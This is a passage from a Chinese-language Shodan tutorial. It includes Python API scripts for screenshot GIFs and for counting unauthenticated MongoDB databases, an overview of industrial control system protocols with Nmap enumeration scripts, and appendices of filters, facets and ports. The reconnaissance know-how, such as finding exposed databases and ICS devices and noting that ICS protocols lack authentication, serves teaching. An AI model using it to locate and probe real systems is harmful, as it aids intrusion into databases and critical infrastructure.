                print '%s: %s' % (term['value'], term['count'])
    
            # 在摘要信息之间打印一条空行
            print ''
    
    except Exception, e:
        print 'Error: %s' % e
        sys.exit(1)
    

    例子——利用API编写GIF图片

    Shodan很好得保存了爬取的IP的完整历史记录,可以通过API编写Python脚本,输出Shodan爬虫收集的屏幕截图的。

    环境:

    需要的Python包:

    • shodan:sudo easy_install shodan安装
    • arrow: sudo easy_install arrow安装。arrow包用于将banner的时间戳字段解析为Python datetime对象。

    需要的软件包:

    sudo apt-get install imagemagick //将多个图像合并成一个GIF动画所需要
    
    easy_install -U requests simplejson
    

    代码参见:Timelapse GIF Creator using the Shodan API

    import arrow
    import os
    import shodan
    import shodan.helpers as helpers
    import sys
    
    
    # Settings
    API_KEY = ''
    
    # The user has to provide at least 1 Shodan data file
    if len(sys.argv) < 2:
    	print('Usage: {} <shodan-data.json.gz> ...'.format(sys.argv[0]))
    	sys.exit(1)
    
    # GIFs are stored in the local "data" directory
    os.mkdir('data')
    
    # Setup the Shodan API object
    api = shodan.Shodan(API_KEY)
    
    # Loop over all of the Shodan data files the user provided
    for banner in helpers.iterate_files(sys.argv[1:]):
    	# See whether the current banner has a screenshot, if it does then lets lookup
    	# more information about this IP
    	has_screenshot = helpers.get_screenshot(banner)
    	if has_screenshot:
    		ip = helpers.get_ip(banner)
    		print('Looking up {}'.format(ip))
    		host = api.host(ip, history=True)
    		
    		# Store all the historical screenshots for this IP
    		screenshots = []
    		for tmp_banner in host['data']:
    			# Try to extract the image from the banner data
    			screenshot = helpers.get_screenshot(tmp_banner)
    			if screenshot:
    				# Sort the images by the time they were collected so the GIF will loop
    				# based on the local time regardless of which day the banner was taken.
    				timestamp = arrow.get(banner['timestamp']).time()
    				sort_key = timestamp.hour
    
    				# Add the screenshot to the list of screenshots which we'll use to create the timelapse
    				screenshots.append((
    					sort_key,
    					screenshot['data']
    				))
    
    		# Extract the screenshots and turn them into a GIF if we've got more than a few images
    		if len(screenshots) >= 3:
    			# screenshots is a list where each item is a tuple of:
    			# (sort key, screenshot in base64 encoding)
    			# 
    			# Lets sort that list based on the sort key and then use Python's enumerate
    			# to generate sequential numbers for the temporary image filenames
    			for (i, screenshot) in enumerate(sorted(screenshots, key=lambda x: x[0], reverse=True)):
    				# Create a temporary image file
    				# TODO: don't assume that all images are "jpg", use the mimetype instead
    				open('/tmp/gif-image-{}.jpg'.format(i), 'w').write(screenshot[1].decode('base64'))
    			
    			# Create the actual GIF using the  ImageMagick "convert" command
    			# The resulting GIFs are stored in the local data/ directory
    			os.system('convert -layers OptimizePlus -delay 5x10 /tmp/gif-image-*.jpg -loop 0 +dither -colors 256 -depth 8 data/{}.gif'.format(ip))
    
    			# Clean up the temporary files
    			os.system('rm -f /tmp/gif-image-*.jpg')
    
    			# Show a progress indicator
    			print('GIF created for {}'.format(ip))
    

    使用iterate_files()遍历Shodan数据文件。在shodan.Shodan.host()方法中获取所有Shodan收集的IP的banner历史记录。

    下载屏幕截图的JSON数据包:

    shodan download --limit -1 screenshots.json.gz has_screenshot:true
    

    *例子——公开的MongoDB数据

    MongoDB是一个流行的NoSQL数据库。在很长一段时间内,MongoDB默认是不需要输入用户名和密码,就可以登录。导致了许多MongoDB的服务在互联网上可以被公开访问。(见shodan扫描结果:3万个MongoDB可以无密码访问 大概包含595Tb数据

    使用Shodan抓取这些数据库的banner,其中包含了大量关于存储数据的信息。以下是banner的概要:

    IP: 115.231.180.54
    MongoDB Server Information
    Authentication partially enabled
    {
        "storageEngines": [
            "devnull", 
            "ephemeralForTest", 
            "mmapv1", 
            "wiredTiger"
        ], 
        "maxBsonObjectSize": 16777216, 
        "ok": 1.0, 
        "bits": 64, 
        "modules": [], 
        "openssl": {
            "compiled": "OpenSSL 1.0.1f 6 Jan 2014", 
            "running": "OpenSSL 1.0.1f 6 Jan 2014"
        }, 
        "javascriptEngine": "mozjs", 
        "version": "3.2.18", 
        "gitVersion": "4c1bae566c0c00f996a2feb16febf84936ecaf6f", 
        "versionArray": [
            3, 
            2, 
            18, 
            0
        ], 
        "debug": false, 
        "buildEnvironment": {
            "cxxflags": "-Wnon-virtual-dtor -Woverloaded-virtual -Wno-maybe-uninitialized -std=c++11", 
            "cc": "/opt/mongodbtoolchain/bin/gcc: gcc (GCC) 4.8.2", 
            "linkflags": "-fPIC -pthread -Wl,-z,now -rdynamic -fuse-ld=gold -Wl,-z,noexecstack -Wl,--warn-execstack", 
            "distarch": "x86_64", 
            "cxx": "/opt/mongodbtoolchain/bin/g++: g++ (GCC) 4.8.2", 
            "ccflags": "-fno-omit-frame-pointer -fPIC -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -Werror -O2 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -Wno-missing-braces -fno-builtin-memcmp", 
            "target_arch": "x86_64", 
            "distmod": "ubuntu1404", 
            "target_os": "linux"
        }, 
        "sysInfo": "deprecated", 
        "allocator": "tcmalloc"
    },
    ....
    

    基本上,banner是MongoDB服务器信息和及其3个JSON对象用逗号分隔而组成。或者有的banner里有需要登陆凭据的验证字符——“authentication enabled”。每个JSON对象都包含有关数据库的不同信息,建议在Shodan网站上查看完整的头信息,方法是搜索:

    metrics字符保证了搜索时只搜索不需要认证的MongoDB服务

    接下来使用banner信息统计最流行的数据库名称,以及在互联网上暴露的数据量。基本的工作流程:

    1. 下载所有的MongoDB banner数据
    2. 处理下载的文件,并输出前十个数据库名称的列表以及总数据大小
    shodan download --limit -1 mongodb-servers.json.gz product:mongodb
    

    上述命令功能是,利用Shodan搜索关于mongodb的设备信息,并使用--limit -1指令下载所有的查询结果,输出到mongodb-servers.json.gz文件。

    使用Python脚本处理刚才所下载的数据。

    要轻松遍历文件,将使用shodan.helpers.iterate_files()方法:

    import shodan.helpers as helpers
    import sys
    
    # datafile变量是命令行的第一个参数
    datafile = sys.argv[1]
    
    for banner in helpers.iterate_files(datafile):
        # 获得banner
    

    由于每个banner仅仅是带有头信息的JSON,因此可以使用simplejson库将banner处理为本地的Python字典:

    # 去除Shodan加入的MongoDB的头信息
    data = banner['data'].replace('MongoDB Server Information\n', '').split('\n},\n'\
    )[2]
    # 加载数据库信息
    data = simplejson.loads(data + '}')
    

    接下来的事情就是记录暴露的数据总量和最流行的数据库名称:

    total_data = 0
    databases = collections.defaultdict(int)
    
    ...
    
        # 然后循环
        # 跟踪可访问的数据
        total_data += data['totalSize']
    
        # 跟踪哪些数据库使用最多
        for db in data['databases']:
            databases[db['name']] += 1
    

    Python有一个有用的collections.defaultdict类,该类的功能是,如果字典的键尚不存在,这个类将自动为字典的键创建一个默认值。只需访问 MongoDB banner的totalSizedatabases属性即可收集的信息。最后,我们只需要输出实际结果:

    print('Total: {}'.format(humanize_bytes(total_data)))
    
    counter = 1
    for name, count in sorted(databases.iteritems(), key=operator.itemgetter(1),reverse=True[:10]:
        print('#{}\t{}: {}'.format(counter, name, count))
        counter += 1
    

    首先打印数据总量,然后使用humanize_bytes()方法将字节存储转换为易读的MB、GB等存储格式。

    其次,对数据库集合进行多次逆序遍历排序(key=operator.itemgetter(1)),取结果的TOP10([:10])。

    以下是读取Shodan数据文件并分析banner的完整脚本:

    #!C:\Python27\python.exe
    # -*- coding: utf-8 -*-
    # @Time    : 2018/2/2 10:01
    # @Author  : b404
    # @File    : MongDB_Shodan.py
    # @Software: PyCharm
    
    import collections
    import operator
    import shodan.helpers as helpers
    import sys
    import simplejson
    
    def humanize_bytes(bytes, precision=1):
        """将字节转换为易读的存储单位MB、GB等
    
        Assumes `from __future__ import division`.
    
        >>> humanize_bytes(1)
        '1 byte'
        >>> humanize_bytes(1024)
        '1.0 kB'
        >>> humanize_bytes(1024*123)
        '123.0 kB'
        >>> humanize_bytes(1024*12342)
        '12.1 MB'
        >>> humanize_bytes(1024*12342,2)
        '12.05 MB'
        >>> humanize_bytes(1024*1234,2)
        '1.21 MB'
        >>> humanize_bytes(1024*1234*1111,2)
        '1.31 GB'
         >>> humanize_bytes(1024*1234*1111,1)
            '1.3 GB'
            """
        abbrevs = (
            (1 << 50L, 'PB'),
            (1 << 40L, 'TB'),
            (1 << 30L, 'GB'),
            (1 << 20L, 'MB'),
            (1 << 10L, 'kB'),
            (1, 'bytes')
        )
        if bytes == 1:
            return '1 byte'
        for factor, suffix in abbrevs:
            if bytes >= factor:
                break
        return '%.*f %s' % (precision, bytes / factor, suffix)
    
    total_data = 0
    databases = collections.defaultdict(int)
    for banner in helpers.iterate_files(sys.argv[1]):
        try:
            # 去除Shodan加入的MongoDB的头信息
            data = banner['data'].replace('MongoDB Server Information\n', '').split('\n},\n')[2]
    
            # 加载数据库信息
            data = simplejson.loads(data + '}')
            # 记录公开访问的数据量
            total_data += data['totalSize']
    
            # 跟踪哪些数据库名称最常见
            for db in data['databases']:
                databases[db['name']] += 1
        except Exception, e:
            pass
    
    print('Total: {}'.format(humanize_bytes(total_data)))
    
    counter = 1
    for name, count in sorted(databases.iteritems(), key=operator.itemgetter(1), reverse=True)[:10]:
        print('#{}\t{}: {}'.format(counter, name, count))
    counter += 1
    

    该脚本输出:

    Total: 569.7 GB
    #1	Warning: 1448
    #1	local: 1172
    #1	admin: 488
    #1	README: 113
    #1	config: 67
    #1	test: 43
    #1	DATA_HAS_BEEN_BACKED_UP: 19
    #1	logs: 19
    #1	db_has_been_backed_up: 15
    #1	gpsreal: 11
    

    工业控制系统

    工控指的是工业自动化控制,主要利用电子电气、机械、软件组合实现。打比方说,工业控制系统(ICS)是控制周围世界的计算机。它们负责管理办公室的空调、发电厂的涡轮机、剧院的照明设备或者工厂的机器人。

    可以去灯塔实验室(http://plcscan.org/blog/)和https://cs3sthlm.se/ 了解工控的相关姿势

    SHINE项目(SHodan INTElligence Extraction)研究表明,从2012至2014年,互联网上至少有200万个可公开访问的工控设备。在2012年,第一个包含500,000个ICS设备的数据库被发送到ICS- cert。ICS-CERT认定,在美国50万的设备中,大约有7200个是关键的基础设施。随着对工控安全做出很多努力,越来越多的工控设备进行漏洞修补或者关机下线。但这是一个具有挑战性的问题,而且针对工控安全问题的解决方案没有一个是简单的。

    下图是2014年Shodan爬取的工控全球分布图:

    常用缩写

    以下是一些常用的缩写,有助于后面了解协议,快速找到ICS设备:

    缩写说明
    SCADA数据采集与监视控制系统
    ICS工业控制系统
    DCS分布式控制系统/集散控制系统
    PCS过程控制系统
    ESD应急停车系统
    PLC可编程序控制器(Programmable Logic Controller)
    RTU远程终端控制系统
    IED智能监测单元
    HMI人机界面(Human Machine Interface)
    MIS管理信息系统(Management Information System)
    SIS生产过程自动化监控和管理系统(Supervisory Information System)
    MES制造执行管理系统
    BMS建筑管理系统(uilding Management System)
    VNC虚拟网络计算(Virtual Network Computing)

    协议

    识别联网的控制系统有两种不同的方式:

    1. 在ICS环境中使用的非ICS协议。

    Shodan的ICS搜索结果大部分是通过搜索WEB服务器或其他常用的协议发现的,这些协议并不是直接与ICS相连接,而是可以在ICS网络上看到。例如,运行在HMI上的Web服务器或未经身份验证的Windows远程桌面直接连接在ICS网络上,这些协议将回提供一个ICS的可视化界面。(但大多常用某种形式进行身份验证)

    2. ICS协议

    ICS协议是控制系统使用的原始协议。每个ICS协议都有其独特的标志,它们都有一个共同点:它们不需要任何认证。这意味着,如果可以远程访问工业设备,则可以自动对其进行读取和写入。但是,原始的ICS协议往往很难开发,是独有的,实际也很难与控制系统交互。也就是使用Shodan很容易检查设备是否支持ICS协议。

    下图的banner是一个Siemens S7 PLC设备的Shodan搜索图,banner暴露了其序列号和位置:

    Modbus

    MODBUS协议定义了一个与基础通信层无关的简单协议数据单元(PDU)。特定总线或网络上的MODBUS协议映射能够在应用数据单元(ADU)上引入一些附加域。

    工控安全问题:

    • 缺乏认证:仅需要使用一个合法的Modbus地址和合法的功能码即可以建立一个Modbus会话
    • 缺乏授权:没有基于角色的访问控制机制,任意用户可以执行任意的功能。
    • 缺乏加密:地址和命令明文传输,可以很容易地捕获和解析

    PROFIBUS

    PROFIBUS 一种用于工厂自动化车间级监控和现场设备层数据通信与控制的现场总线技术,可实现现场设备层到车间级监控的分散式数字控制和现场通信网络

    DNP3

    DNP3 DNP(Distributed Network Protocol,分布式网络协议)是一种应用于自动化组件之间的通讯协议,常见于电力、水处理等行业。简化OSI模型,只包含了物理层,数据层与应用层的体系结构(EPA)。SCADA可以使用DNP协议与主站、RTU、及IED进行通讯。

    ICCP

    ICCP 电力控制中心通讯协议。

    OPC

    OPC 过程控制的OLE (OLE for Process Control)。OPC包括一整套接口、属性和方法的标准集,用于过程控制和制造业自动化系统。

    BACnet

    BACnet 楼宇自动控制网络数据通讯协议(A Data Communication Protocol for Building Automation and Control Networks)。BACnet 协议是为计算机控制采暖、制冷、空调HVAC系统和其他建筑物设备系统定义服务和协议

    CIP

    CIP 通用工业协议,被deviceNet、ControINet、EtherNet/IP三种网络所采用。

    Siemens S7

    Siemens S7 属于第7层的协议,用于西门子设备之间进行交换数据,通过TSAP,可加载MPI,DP,以太网等不同物理结构总线或网络上,PLC一般可以通过封装好的通讯功能块实现。

    其他工控协议

    其他工控协议IEC 60870-5-104、EtherNet/IP、Tridium Niagara Fox、Crimson V3、OMRON FINS、PCWorx、ProConOs、MELSEC-Q

    架构缺陷

    • 未经真正安全考验的组件与协议
      • 若有Web服务,那就利用Web服务该有的缺陷
      • 经典渗透技巧大多适用于工控网络
    • 稳定性优先+懒 → 升级难
    • 互联网的便利性,让工控组件暴露在网络空间里
    • 以协议研究为出发点

    工控系统的指纹识别技术

    http://plcscan.org/blog/2017/03/fingerprint-identification-technology-of-industrial-control-system/

    信息探测

    Ethernet/IP

    Port:44818

    • Nmap: enip-enumerate.nse
    • Python: https://github.com/paperwork/pyenip
    • Wireshark dissector
      • src/epan/dissector/packet-etherip.c

    Modbus

    • port:502
    • 抓取设备相关信息
    • Nmap: modicon-info.nse
    • Wireshark dissector
      • src/epan/dissector/packet-mbtcp.c
    • 认证与加密缺失

    IEC 61870-5-101/104

    • Port: 2404
    • 判断是否使用该协议
      • Nmap: iec-identify.nse
      • Wireshark dissector
        • src/epan/dissectors/packet-iec104.c
    • 认证与加密缺失

    Siemens S7

    • key:Siemens S7 PLC(102)
    • 抓取设备相关信息
    • Nmap: s7-enumerate_.nse
      • http://plcscan.org/blog/wp-content/uploads/2014/11/s7-enumerate.nse_.txt
    • Wireshark plugins
      • http://sourceforge.net/projects/s7commwireshark/
    • 弱加密,易破解

    Tridium Niagara Fox

    • port:1911
    • 抓取设备信息
      • Nmap: fox-info.nse

    以下是有关banner的最新属性字段列表(若要查看最新的,请访问在线文档):

    常用属性

    名称描述举例
    asn自治系统号AS4837
    data服务的主要bannerHTTP/1.1 200…
    ip整数型的IP地址格式493427495
    ip_str字符串型IP199.30.15.20
    ipv6字符串型IPv62001:4860:4860::8888
    port服务的端口号80
    timestamp收集信息的日期2014-01-15T05:49:56.283713
    hash数据属性的散列值Numeric hash of the data property
    hostnames目标IP的主机名[“shodan.io”, “www.shodan.io”]
    domains目标IP的所有域名[“shodan.io”]
    link网络连接类型以太网/调制解调器
    location设备的物理地址见下文
    opts补充或者实验数据不包含在主要的banner中 
    org分配IP的组织Google Inc.
    isp负责IP空间的ISPVerizon Wireless
    os操作系统Linux
    uptimeIP上线时间50
    tags描述设备用途的标签列表(仅供企业型账号使用)[“ics”, “vpn”]
    transport用于收集banner的传输协议(UDP或者是TCP)tcp

    Elastic属性

    下列属性是为 Elastic (曾经的 ElasticSearch)收集的:

    名称描述
    elastic.cluster有关集群的一般信息
    elastic.indices集群上可用的索引列表
    elastic.nodes群集的节点/对等点列表及其信息

    HTTP(S)属性

    Shodan遵循HTTP响应的重定向,并将所有中间数据存储在banner中。抓取工具不遵循重定向的情况是HTTP请求被重定向到HTTPS位置,反之亦然:

    名称描述
    http.components用于创建网站的网络技术
    http.host发送主机名来抓取网站的HTML
    http.html网站的HTML内容
    http.html_hashhttp.html属性的数字散列
    http.location最终的HTML响应的位置
    http.redirects遵循的重定向列表。每个重定向项目有3个属性:主机,数据和位置
    http.robotsrobots.txt文件的网站
    http.serverHTTP响应的服务器头
    http.sitemap网站的Sitemap XML
    http.title网站的标题

    位置属性

    名称描述
    area_code设备位置的区号
    city城市名称
    country_code2个字母组成的国家代码
    country_code33个字母组成的国家代码
    country_name国家的全名
    dma_code指定市场区号(仅限美国)
    latitude纬度
    longitude经度
    postal_code邮政编码
    region_code地区代码

    SMB属性

    名称描述
    smb.anonymous服务是否允许匿名连接(true/false)
    smb.capabilities服务支持的功能列表
    smb.shares可用的网络共享列表
    smb.smb_version用于收集信息的协议版本
    smb.software提供服务的软件
    smb.raw服务器发送的十六进制编码数据包列表;如果想做SMB解析,这很有用

    SSH属性

    名称描述
    ssh.cipher协商期间使用的密码
    ssh.fingerprint设备的指纹
    ssh.kex服务器支持的密钥交换算法列表
    ssh.key服务器的SSH密钥
    ssh.mac消息认证码算法

    SSL 属性

    如果服务使用SSL进行包装,则Shodan将执行附加测试,并在以下属性中提供结果:

    名称描述
    ssl.acceptable_cas服务器接受的证书颁发机构列表
    ssl.cert可解析的SSL证书
    ssl.cipherSSL连接的首选密码
    ssl.chain从用户证书到根证书的SSL证书列表
    ssl.dhparamsDiffie-Hellman参数
    ssl.tlsext服务器支持的TLS扩展列表
    ssl.versions支持的SSL版本;如果该值用-开头,则该服务不支持该版本(例如:“-SSLv2”是指不支持SSLv2的服务)

    ISAKMP属性

    以下为使用ISAKMP协议的VPN(例如IKE)收集的属性:

    名称描述
    isakmp.initiator_spi初始化器的hex编码的安全参数索引
    isakmp.responder_spi用于响应器的hex编码的安全参数索引
    isakmp.next_payload启动后发送的下一个载荷
    isakmp.version协议版本;例如“1.0”
    isakmp.exchange_type交换类型
    isakmp.flags.encryption加密设置:true或false
    isakmp.flags.commit提交设置:true或false
    isakmp.flags.authentication认证设置:true或false
    isakmp.msg_id消息的十六进制编码标识
    isakmp.lengthISAKMP数据包的大小

    特殊属性

    _shodan

    _shodan属性包含有关数据如何被Shodan收集的信息。它与其他属性不同,因为它不提供有关设备的信息。相反,它会告诉你Shodan使用哪一个banner抓取器来与目标IP交互。这对于探知服务器上的端口运行服务情况是很重要的。例如,80端口是最知名的Web服务端口,但它也被各种恶意软件用来规避防火墙规则,_shodan属性将让你知道是该端口否用HTTP模块来收集数据或是否使用了反恶意软件模块。

    名称描述
    _shodan.crawler识别Shodan爬取工具的唯一ID
    _shodan.id此banner的唯一ID
    _shodan.module爬虫抓取banner而使用SHodan模块的名称
    _shodan.options数据收集期间使用的配置选项
    _shodan.hostname发送Web请求时使用的主机名
    _shodan.options.referrer为某端口/服务触发扫描的banner的惟一ID

    例子

    {
       "timestamp": "2014-01-16T08:37:40.081917","timestamp": "2014-01-16T08:37:40.081917",
       "hostnames": ["hostnames": [
          "99-46-189-78.lightspeed.tukrga.sbcglobal.net""99-46-189-78.lightspeed.tukrga.sbcglobal.net"
       ],],
       "org": "AT&T U-verse","org": "AT&T U-verse",
       "guid": "1664007502:75a821e2-7e89-11e3-8080-808080808080","guid": "1664007502:75a821e2-7e89-11e3-8080-808080808080",
       "data": "NTP\nxxx.xxx.xxx.xxx:7546\n68.94.157.2:123\n68.94.156.17:123","data": "NTP\nxxx.xxx.xxx.xxx:7546\n68.94.157.2:123\n68.94.156.17:123",
       "port": 123,"port": 123,
       "isp": "AT&T U-verse","isp": "AT&T U-verse",
       "asn": "AS7018","asn": "AS7018",
       "location": {"location": {
          "country_code3": "USA","country_code3": "USA",
          "city": "Atlanta","city": "Atlanta",
          "postal_code": "30328","postal_code": "30328",
          "longitude": -84.3972,"longitude": -84.3972,
          "country_code": "US","country_code": "US",
          "latitude": 33.93350000000001,"latitude": 33.93350000000001,
          "country_name": "United States","country_name": "United States",
          "area_code": 404,"area_code": 404,
          "dma_code": 524,"dma_code": 524,
          "region_code": null"region_code": null
       },},
       "ip": 1664007502,"ip": 1664007502,
       "domains": ["domains": [
          "sbcglobal.net""sbcglobal.net"
       ],],
       "ip_str": "99.46.189.78","ip_str": "99.46.189.78",
       "os": null,"os": null,
       "opts": {"opts": {
          "raw": "\\x97\\x00\\x03*\\x00\\x03\\x00H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01G\\x06\\xa7\\x8ec.\\xbdN\\x00\\x00\\x00\\x01\\x1dz\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00q\\x00\\x00\\x00i\\x00\\x00\\x00\\x00\\x00\\x00\\x00XD^\\x9d\\x02c.\\xbdN\\x00\\x00\\x00\\x01\\x00{\\x04\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00q\\x00\\x00\\x00o\\x00\\x00\\x00\\x00\\x00\\x00\\x00YD^\\x9c\\x11c.\\xbdN\\x00\\x00\\x00\\x01\\x00{\\x04\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00","raw": "\\x97\\x00\\x03*\\x00\\x03\\x00H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01G\\x06\\xa7\\x8ec.\\xbdN\\x00\\x00\\x00\\x01\\x1dz\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00q\\x00\\x00\\x00i\\x00\\x00\\x00\\x00\\x00\\x00\\x00XD^\\x9d\\x02c.\\xbdN\\x00\\x00\\x00\\x01\\x00{\\x04\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00q\\x00\\x00\\x00o\\x00\\x00\\x00\\x00\\x00\\x00\\x00YD^\\x9c\\x11c.\\xbdN\\x00\\x00\\x00\\x01\\x00{\\x04\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00",
          "ntp": {"ntp": {
             "more": false"more": false
          }}
       }}
    }}
    
    

    附录B:搜索语法关键词列表

    常用语法

    过滤器名描述类型举例
    after只显示给出日期之后的结果(dd/mm/yyyy)stringafter:"04/02/2017"
    asn自治系统号码stringasn:"AS4130"
    before只显示给出日期之前的结果(dd/mm/yyyy)stringbefore:"04/02/2017"
    category现有的分类:ics,malwarestringcategory:"malware"
    city城市的名字stringcity:"San Diego"
    country国家简写stringcountry:"ES" country:"CN"
    geo经纬度stringgeo:"46.9481,7.4474"
    hash数据的hash值int-hash:0
    has_ipv6是否是IPv6booleanhas_ipv6:true
    has_screenshot是否有截图booleanhas_screenshot:true
    hostname主机名或域名stringhostname:"google"
    ipip地址stringip:"54.67.82.248 "
    ispISP供应商stringisp:"China Telecom"
    org组织或公司stringorg:"google"
    os操作系统stringos:"Windows 7 or 8"
    port端口号intport:21
    postal邮政编码(仅限于美国)stringpostal:"98221"
    product软件、平台stringproduct:"Apache httpd" product:"openssh"
    region地区或国家别名string
    state string
    netCIDR格式的IP地址stringnet:190.30.40.0/24
    version软件版本stringversion:"2.6.1"
    vuln漏洞的CVE IDstringvuln:CVE-2014-0723

    HTTP过滤器

    名称描述类型
    http.component网站上所使用的网络技术名称string
    http.component_category网站上使用的网络组件的类别string
    http.htmlWeb bannerstring
    http.html_hash网站HTML的哈希值int
    http.status响应状态码int
    http.title网站title得bannerstring

    NTP 过滤器

    名称描述类型
    ntp.ip查找在其monlist中NTP服务器的IP 
    ntp.ip_count初始monlist返回的IP数量int
    ntp.more真/假; monlist集是否有更多的IP地址boolean
    ntp.portmonlist中的IP地址使用的端口int

    SSL过滤器

    名称描述类型
    has_ssl有无SSLboolean
    SSL搜索所有SSL的数据string
    ssl.alpn诸如HTTP/2的应用层协议string
    ssl.chain_count链中的证书数量int
    ssl.version可能的值:SSLv2,SSLv3,TLSv1,TLSv1.1,TLSv1.2string
    ssl.cert.alg证书算法string
    ssl.cert.expired是否是过期证书boolean
    ssl.cert.extension证书中的扩展名string
    ssl.cert.serial序列号为整数或十六进制字符串int/string
    ssl.cert.pubkey.bits公钥的位数int
    ssl.cert.pubkey.type公钥类型string
    ssl.cipher.versionSSL版本的首选密码string
    ssl.cipher.bits首选密码中的位数int
    ssl.cipher.name首选密码的名称string

    Telnet 过滤器

    名称描述类型
    telnet.option搜索所有选项string
    telnet.do对方执行的请求或期望对方执行指示的选项string
    telnet.dont对方停止执行的请求或不再期望对方执行指定的选项string
    telnet.will确认现在正在执行指定的选项string
    telnet.wont表示拒绝执行或继续执行指定的选项string

    附录C:Facets搜索

    常用Facets

    名称描述
    asn自治系统号码
    city城市的全名
    country国家的全名
    domain设备的域名
    has_screenshot有无可用的截图
    ispISP管理网络块
    link网络连接的类型
    org拥有该网块的组织
    os操作系统
    port服务的端口号
    postal邮政编码
    product软件/产品的名称
    region地区/国家的名称
    state区域的别名
    uptime主机启动的时间(以秒为单位计算)
    vuln漏洞的CVE ID

    HTTP Facets

    名称描述类型
    http.component网站上使用的网络技术的名称string
    http.component_category网站上使用的网络组件的类别string
    http.html_hashHTML网站的哈希值int
    http.status响应状态码int

    NTP Facets

    名称描述
    ntp.ipmonlist返回的IP地址
    ntp.ip_count初始monlist返回的IP数量
    ntp.more真假; monlist收集的是否有更多的IP地址
    ntp.portmonlist中的IP地址使用的端口

    SSH Facets

    名称描述
    ssh.cipher密码的名称
    ssh.fingerprint设备的指纹
    ssh.mac使用的MAC算法名称(例如:hmac-sha1)
    ssh.type认证密钥的类型(例如:ssh-rsa)

    SSL Facets

    名称描述
    ssl.version支持SSL版本
    ssl.alpn应用层协议
    ssl.chain_count链中的证书数量
    ssl.cert.alg证书算法
    ssl.cert.expired真假; 证书过期与否
    ssl.cert.serial证书序列号为整数
    ssl.cert.extension证书扩展名
    ssl.cert.pubkey.bits公钥的位数
    ssl.cert.pubkey公钥类型的名称
    ssl.cipher.bits首选密码中的位数
    ssl.cipher.name首选密码的名称
    ssl.cipher.versionSSL版本的首选密码

    Telnet Facets

    名称描述类型
    telnet.option显示所有选项string
    telnet.do对方执行的请求或期望对方执行指示的选项string
    telnet.dont对方停止执行的请求或不再期望对方执行指定的选项string
    telnet.will服务器支持指定的选项string
    telnet.wont服务器不支持指定的选项string

    附录D:端口列表

    PortService
    7Echo
    11Systat
    13Daytime
    15Netstat
    17Quote of the day
    19Character generator
    21FTP
    22SSH
    23Telnet
    25SMTP
    26SSH
    37rdate
    49TACACS+
    53DNS
    67DHCP
    69TFTP, BitTorrent
    70Gopher
    79Finger
    80HTTP, malware
    81HTTP, malware
    82HTTP, malware
    83HTTP
    84HTTP
    88Kerberos
    102Siemens S7
    104DICOM
    110POP3
    111Portmapper
    113identd
    119NNTP
    123NTP
    129Password generator protocol
    137NetBIOS
    143IMAP
    161SNMP
    175IBM Network Job Entry
    179BGP
    195TA14-353a
    311OS X Server Manager
    389LDAP
    389CLDAP
    443HTTPS
    443QUIC
    444TA14-353a, Dell SonicWALL
    445SMB
    465SMTPS
    500IKE (VPN)
    502Modbus
    503Modbus
    515Line Printer Daemon
    520RIP
    523IBM DB2
    554RTSP
    587SMTP mail submission
    623IPMI
    626OS X serialnumbered
    636LDAPS
    666Telnet
    771Realport
    789Redlion Crimson3
    873rsync
    902VMWare authentication
    992Telnet (secure)
    993IMAP with SSL
    995POP3 with SSL
    1010malware
    1023Telnet
    1025Kamstrup
    1099Java RMI
    1177malware
    1200Codesys
    1234udpxy
    1400Sonos
    1434MS-SQL monitor
    1515malware
    1521Oracle TNS
    1604Citrix, malware
    1723PPTP
    1741CiscoWorks
    1833MQTT
    1900UPnP
    1911Niagara Fox
    1962PCworx
    1991malware
    2000iKettle, MikroTik bandwidth test
    2081Smarter Coffee
    2082cPanel
    2083cPanel
    2086WHM
    2087WHM
    2123GTPv1
    2152GTPv1
    2181Apache Zookeeper
    2222SSH, PLC5, EtherNet/IP
    2323Telnet
    2332Sierra wireless (Telnet)
    2375Docker
    2376Docker
    2379etcd
    2404IEC-104
    2455CoDeSys
    2480OrientDB
    2628Dictionary
    3000ntop
    3260iSCSI
    3306MySQL
    3310ClamAV
    3386GTPv1
    3388RDP
    3389RDP
    3460malware
    3541PBX GUI
    3542PBX GUI
    3689DACP
    3702Onvif
